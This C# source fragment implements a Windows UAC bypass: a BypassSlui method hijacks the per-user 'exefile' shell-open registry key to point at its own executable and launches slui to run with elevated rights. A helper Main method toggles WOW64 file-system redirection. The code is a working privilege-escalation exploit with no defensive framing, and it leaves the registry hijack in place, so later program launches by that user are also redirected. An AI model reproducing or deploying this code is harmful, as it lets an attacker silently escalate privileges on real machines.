static void Main(string[] args) { try { if (Wow64Interop.EnableWow64FSRedirection(false)) { Console.WriteLine("WOW64 File System Redirection Disabled"); } else { Console.WriteLine("Failure Disabling WOW64 File System Redirection"); } } catch (Exception exc) { Console.WriteLine("Failure Setting WOW64 File System Redirection."); Console.WriteLine(exc.Message); } }
/// <summary> /// Slui bypass should work on Windows 8 /// </summary> private static void BypassSlui() { var wow64Value = IntPtr.Zero; Registry.CurrentUser.CreateSubKey(@"Software\Classes\exefile\shell\open\command"); Registry.CurrentUser.OpenSubKey(@"Software\Classes\exefile\shell\open\command", true) ?.SetValue("", Assembly.GetExecutingAssembly().Location); Registry.CurrentUser.OpenSubKey(@"Software\Classes\exefile\shell\open\command", true) ?.SetValue("DelegateExecute", ""); Wow64Interop.DisableWow64FSRedirection(ref wow64Value); try { Process.Start("slui"); } catch { Console.WriteLine("Please make sure you removed prefer 32-bits."); } finally { Wow64Interop.Wow64RevertWow64FsRedirection(wow64Value); Environment.Exit(0); } }